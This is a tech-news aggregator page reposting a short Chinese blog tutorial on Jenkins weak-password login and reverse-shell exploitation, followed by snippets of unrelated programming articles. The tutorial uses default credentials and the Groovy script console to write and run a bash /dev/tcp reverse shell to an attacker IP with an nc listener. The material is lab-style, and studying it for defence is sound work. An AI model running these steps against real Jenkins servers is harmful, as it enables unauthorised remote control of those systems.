当前位置： 首页 > news >正文

web中间件漏洞-Jenkins漏洞-弱口令、反弹shell

news 文章来源：https://blog.csdn.net/Alsn86/article/details/139888888 2025/2/6 21:37:31

web中间件漏洞-Jenkins漏洞-弱口令、反弹shell

Jenkins弱口令

默认用户一般为jenkins/jenkins
在这里插入图片描述
在这里插入图片描述
使用admin/admin123登陆成功
在这里插入图片描述

Jenkins反弹shell

在这里插入图片描述
在这里插入图片描述
格式为 println"命令".execute().text
在这里插入图片描述
在/tmp目录中生成shell.sh文件，并向其中写入反弹shell的语句
new File(“/tmp/shell.sh”).write(‘bash -i >& /dev/tcp/192.168.1.3/1234 0>&1’
在这里插入图片描述

println “ls-al/tmp/shell.sh”.execute().text
在这里插入图片描述
攻击机nc监听1234端口，使用sh命令执行服务器上的脚本进行反弹shell，println"sh/tmp/shell.sh".execute().text
在这里插入图片描述
在这里插入图片描述

相关文章：

web中间件漏洞-Jenkins漏洞-弱口令、反弹shell

web中间件漏洞-Jenkins漏洞-弱口令、反弹shell Jenkins弱口令 默认用户一般为jenkins/jenkins 使用admin/admin123登陆成功 Jenkins反弹shell 格式为 println"命令".execute().text 在/tmp目录中生成shell.sh文件，并向其中写入反弹shell的语句 new…...

编程日记 2024/6/22 23:41:26

Linux开发讲课9--- Linux的IPC机制-内存映射（Memory Mapping）

Linux的IPC（Inter-Process Communication，进程间通信）机制是多个进程之间相互沟通的方法，它允许不同进程之间传播或交换信息。Linux支持多种IPC方式，包括但不限于： 管道（Pipe）&#…...

编程日记 2024/6/22 23:40:24

Java赋值运算符

Java赋值运算符分为以下： 符号 作用 说明 赋值 int a 10,把10赋值给变量a 加后赋值 ab,将ab的值赋值给变量a - 减后赋值 a-b,将a-b的值赋值给变量a* 乘后赋值 a*b,将a*b的值赋值给变量a / 除后赋值 a/b,将a/b的值赋值给变量a % 取余赋值 a%b,将a%b的值赋值给变量…...

编程日记 2024/6/22 23:39:23

Qt做群控系统

群控系统顾名思义，一台设备控制多台机器。首先我们来创造下界面。我们通过QT UI设计界面。设计界面如下： 登录界面： 登录界面分为两种角色，一种是管理员，另一种是超级管理员。两种用户的主界面是不同的。通过选中记住…...

编程日记 2024/6/22 23:37:21

【专业英语 复习】第10章 Information System

1. 单选题 (1分) An example of this type of report would be a sales report that shows that certain items are selling significantly above or below forecasts. () A. Inventory B. Demand C. Periodic D. Exception 正确答案： D 这种类型的报…...

编程日记 2024/6/22 23:35:19

09-axios在Vue中的导入与配置

09-axios 前言首先简单了解什么是Axios？以上完成后就可以使用了 前言 我们接着上一篇文章 08-路由地址的数据获取 来讲。 下一篇文章 10-vuex在Vue中的导入与配置 首先简单了解什么是Axios？ Axios是一个基于Promise 用于浏览器和 nodejs 的 HTTP 客户端…...

编程日记 2024/6/22 23:34:18

odoo17 小变更4

odoo17 小变更4 1、代码中去除了访问私人地址权限，但翻译中均还有，怪不 model:res.groups,name:base.group_private_addresses msgid "Access to Private Addresses" msgstr "" 代码也查看了，的确没有了此权限组 --><record model="res.g…...

编程日记 2024/6/22 23:33:17

Flink assignTimestampsAndWatermarks 深度解析：时间语义与水印生成

目录 概述 时间语义 时间戳分配 水印的作用 最佳实践 案例分析 注意事项 应用场景 概述 在Apache Flink中，assignTimestampsAndWatermarks是一个重要的方法，它允许数据流处理程序根据事件时间（event time）分配时间戳和生成水印（watermarks）。这个方法通常用于处理…...

编程日记 2024/6/22 23:30:15

C++排序算法——合并有序数组

合并有序数组 思路 我们可以设想一个排序的函数 这个函数里 我们有三个while while(第一次的执行条件) {先进行第一次的合并 } while(第二次的合并条件) { 把a数组在第一次没有排序上的给加进去 }while(第三次的合并条件) { 把b数组在第一次没有排序上的给加进去 }看完了这个…...

编程日记 2024/6/22 23:29:14

安装pytorch环境

安装&#xff1a;Anaconda3 通过命令行查显卡nvidia-smi 打开Anacanda prompt 新建 conda create -n pytorch python3.6 在Previous PyTorch Versions | PyTorch选择1.70&#xff0c;安装成功&#xff0c;但torch.cuda.is_available 返回false conda install pytorch1.7.0…...

编程日记 2024/6/22 23:28:12

内卷从古到今就一直存在，并不是近年的“新物”，破局在于你是否有意识地学习。

一.背景&#xff1a; 反思自己过去从学生时代到职场时代。“内卷”其实已经一直存在&#xff0c;从古到今都一直存在&#xff0c;也并不是近几年产出的“新物”。已经连续5年高考人数在1000万以上&#xff0c;而今年1300多万达到新高&#xff0c;对于竞争压力如此之大&#xf…...

编程日记 2024/6/22 23:27:11

跟《经济学人》学英文：2024年6月15日这期 The war for AI talent is heating up

The war for AI talent is heating up Big tech firms scramble to fill gaps as brain drain sets in 争夺人工智能人才的战争正在升温 随着人才流失的到来&#xff0c;大型科技公司争相填补空缺 brain drain&#xff1a;人才流失 scramble&#xff1a;争夺&#xff1b;争…...

编程日记 2024/6/22 23:26:09

港湾周评|高盛眼中的618增长

《港湾商业观察》李镭 年中最重要的购物节618终于尘埃落定了。2024年的618各大电商平台竞技情况如何&#xff1f;又有哪些新的亮点&#xff1f;都成为外界观察消费行为的参考指标。 根据京东618数据显示&#xff1a;累计成交额过10亿的品牌83个&#xff0c;超15万个中小商家销…...

编程日记 2024/6/22 23:24:07

SPSS知识

特点 SPSS的一些特点&#xff1a; 分析结果清晰、直观&#xff1a;SPSS提供了丰富的图表和表格&#xff0c;可以帮助用户直观地理解数据分析的结果。分析结果通常包含详细的统计量、图形和文本描述&#xff0c;使得分析结果易于解释。 易学易用&#xff1a;SPSS的用户界面设计…...

编程日记 2024/6/22 23:23:06

【网络安全的神秘世界】关于Linux中一些好玩的字符游戏

&#x1f31d;博客主页&#xff1a;泥菩萨 &#x1f496;专栏&#xff1a;Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 佛祖保佑 把 motd 通过xtp拖到Linux中 liyangUbuntu2204:~$ cp motd /etc/motd #一定要放在etc下 liyangUbuntu2204:~$ exi…...

编程日记 2024/6/22 23:22:05

【LeetCode】Hot100:验证二叉搜索树

给你一个二叉树的根节点 root &#xff0c;判断其是否是一个有效的二叉搜索树。 有效 二叉搜索树定义如下&#xff1a; 节点的左子树 只包含 小于 当前节点的数。 节点的右子树只包含 大于 当前节点的数。 所有左子树和右子树自身必须也是二叉搜索树。 英文题目 Given the root…...

编程日记 2024/6/22 23:21:04

[Qt] Qt Creator 编译输出乱码，问题页中的报错、警告内容，编译输出乱码

确保文件编码为"UTF-8"&#xff0c;"如果编码是UTF-8则添加"&#xff0c;如下图&#xff1a; 设置IDE环境语言跟随系统语言&#xff0c;Text codec for tools&#xff1a; "System" 瑞斯拜...

编程日记 2024/6/22 23:20:03

sed

1、sed的定义 sed是一种流编辑器&#xff0c;按行处理&#xff0c;一次处理一行内容 处理方式&#xff1a;如果只是展示&#xff0c;会放在缓冲区&#xff08;模式空间&#xff09;&#xff0c;展示结束后&#xff0c;会从模式空间把操作结果删除 一行一行处理&#xff0c;处…...

编程日记 2024/6/22 23:19:01

C++一文讲透thread中的detach和join的差别

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、thread详解二、线程何时运行三、线程启动方式1.join2.detach 总结 前言 无论哪种语言线程在绝大多数项目中都是会用到的&#xff0c;C也一样&#xff0c;C…...

编程日记 2024/6/22 23:18:00

当Windows台式电脑或笔记本电脑随机关机时，请先从这8个方面检查

序言 你的Windows笔记本电脑或PC是否意外关闭？笔记本电脑电池故障、电源线松动、过热、电源设置错误、驱动程序过时或电脑组件故障等问题都可能是罪魁祸首。如果你对这个问题感到沮丧，试试这些解决方案。 进行一些初步检查 与从电池中获取电力的笔记本电脑不同，台式电脑依…...

编程日记 2024/6/22 23:16:59

【凤凰房产-注册安全分析报告-缺少轨迹的滑动条】

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 1. 暴力破解密码&#xff0c;造成用户信息泄露 2. 短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉 3. 带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造…...

编程日记 2024/6/22 23:15:58

【建议收藏】逻辑回归面试题，机器学习干货、重点。

. . . . . . . . . . .纯 干 货 . . . . . . . . . . . .今天是机器学习面试题&#xff0c;16大块的内容&#xff0c;124个问题总结的第二期&#xff1a;逻辑回归面试题。 逻辑回归是一种用于解决分类问题的统计学习方法&#xff0c;尤其在二分类…...

编程日记 2024/6/22 23:14:57

C++使用教程

目录 一、软件使用 二、C基础规则补充 关键字 整型取值范围 浮点型取值范围 字符型使用规则 字符串型使用规则 布尔类型 常用的转义移字符 三、数组、函数、指针、结构体补充 1.数组 2.函数 声明&#xff1a; 分文件编写&#xff1a; 值传递&#xff1a; 3.指…...

编程日记 2024/6/22 23:12:54

k8s volcano + deepspeed多机训练 + RDMA ROCE+ 用户权限安全方案【建议收藏】

前提&#xff1a;nvidia、cuda、nvidia-fabricmanager等相关的组件已经在宿主机正确安装&#xff0c;如果没有安装可以参考我之前发的文章GPU A800 A100系列NVIDIA环境和PyTorch2.0基础环境配置【建议收藏】_a800多卡运行环境配置-CSDN博客文章浏览阅读1.1k次&#xff0c;点赞8…...

编程日记 2024/6/22 23:10:52

设计模式（七）创建者模式之建造者模式

这里写目录标题 概述需求需求类图BikeBuilderMobikeBuilderOfoBuilderDirectorClientClient优缺点使用场景 模式扩展ComputerClient创建者模式对比工厂方法模式VS建造者模式抽象工厂模式VS建造者模式 总结 概述 建造者模式又叫生成器模式&#xff0c;是一种对象构建模式。它可…...

编程日记 2024/6/22 23:09:51

# class中的__call__方法解析

class中的__call__方法解析 文章目录 class中的__call__方法解析1. 为什么要有call&#xff0c;什么情况下用call&#xff1f;1.1 为什么要有 __call__ 方法1.2 没有 __call__ 方法是否可以1.3 使用 __call__ 方法的典型场景1.3.1 示例1&#xff1a;简单函数对象1.3.2 示例2&am…...

编程日记 2024/6/22 23:08:50

React逻辑复用的方式都有哪些

在日常开发中&#xff0c;能够优雅的复用组件和逻辑&#xff0c;是优秀开发者的职责。在react中&#xff0c;复用逻辑的方式有很多&#xff0c;可以适用于不同的业务场景。今天说三个比较有代表性的&#xff0c;Render Props、HOC、Hooks Render Props 创建一个接受函数作为其…...

编程日记 2024/6/22 23:06:48

【LinuxC语言】线程重入

文章目录 前言线程重入是什么线程重入实现示例代码总结前言 在并发编程中，我们经常需要处理多个线程同时访问和修改共享资源的问题。这可能会导致数据竞争和状态不一致，从而使程序的行为变得不可预测。为了解决这个问题，我们引入了一种称为“线程重入”的机制。线程重入，或…...

编程日记 2024/6/22 23:05:47

【Streamlit学习笔记】Streamlit-ECharts箱型图添加均值和最值label

Streamlit-ECharts Streamlit-ECharts是一个Streamlit组件&#xff0c;用于在Python应用程序中展示ECharts图表。ECharts是一个由百度开发的JavaScript数据可视化库Apache ECharts 安装模块库 pip install streamlitpip install streamlit-echarts绘制箱型图展示 在基础箱型…...

编程日记 2024/6/22 23:03:44

Docker镜像仓库：存储与分发Docker镜像的中央仓库

探索Docker镜像仓库&#xff1a;存储与分发Docker镜像的中央仓库 如果你是Docker的新手&#xff0c;或者已经在使用Docker但还不太了解Docker镜像仓库&#xff0c;那么这篇博客将是你的最佳指南。我们将从基础概念开始&#xff0c;逐步深入&#xff0c;帮助你全面掌握Docker注…...

编程日记 2024/6/22 23:02:43

做网站网页需要什么软件/重庆seo优化效果好

文章目录 1、前言2、代码3、硬件连接 —— NodeMcu4、硬件连接 —— ESP015、测试结果授人以鱼不如授人以渔，目的不是为了教会你具体项目开发，而是学会学习的能力。希望大家分享给你周边需要的朋友或者同学，说不定大神成长之路有博哥的奠基石。。。 快速导航 单片机菜鸟的博…...

编程日记 2025/2/6 17:01:18

专门做进口产品的网站/网站推广的常用方法有哪些

Command[&#xff1a;代码左移 Command]&#xff1a;代码右移 Esc&#xff1a;代码自动完成 Tab&#xff1a;选择提示的代码 Ctrl.&#xff1a;代码提示中向后翻页 CtrlShift&#xff0b;.&#xff1a;代码提示中向前翻页 Ctrlk:删除空行 Ctrldelete:删除一行代码 Com…...

编程日记 2025/2/6 16:21:54

大气精美网站设计工作室织梦模板(附赠精美织梦后台模板)/南宁seo收费

存储数据 cc.sys.localStorage.setItem(key, value) 上面的方法需要两个参数&#xff0c;用来索引的字符串键值 key&#xff0c;和要保存的字符串数据 value。 假如我们要保存玩家最高分&#xff0c;假设键值为 score:cc.sys.localStorage.setItem(score, 0); 复杂的对象数据&a…...

编程日记 2025/2/6 15:44:37

一级A视网站 一级做爰片/云南最新消息

1.基本介绍 原则是尽量使用合成/聚合的方式&#xff0c;而不是使用继承合成复用原则又叫做合成/聚合原则。该原则是在一个新的对象里面使用一些已有的对象&#xff0c; 使之成为新对象的一部分&#xff0c;新的对象通过向这些对象的委派达到复用已有功能的目的 2. 合成与聚合…...

编程日记 2025/2/6 12:47:42

品牌手机网站开发公司哪家好/今日国际新闻热点

导语&#xff1a;Navicat Premium 连接MySQL时出现2059错误如下&#xff1a; 原因&#xff1a; mysql8之前的版本中加密规则是mysql_native_password, 而在mysql8之后,加密规则是caching_sha2_password 解决办法&#xff1a;更改加密规则 1.mysql -uroot -ppassword #登录 2.u…...

编程日记 2025/2/6 10:45:28

可以做英语题的网站/网络营销怎么做?

命令 last | grep reboot &#xff08;查看开机时间记录&#xff09; last | grep shutdown &#xff08;查看关机时间记录&#xff09; /var/log/messages日志中查询reboot&#xff08;系统重启&#xff09; 或者halt&#xff08;系统关机&#xff09; 1.作用 linux系统中last…...

编程日记 2025/2/6 8:34:09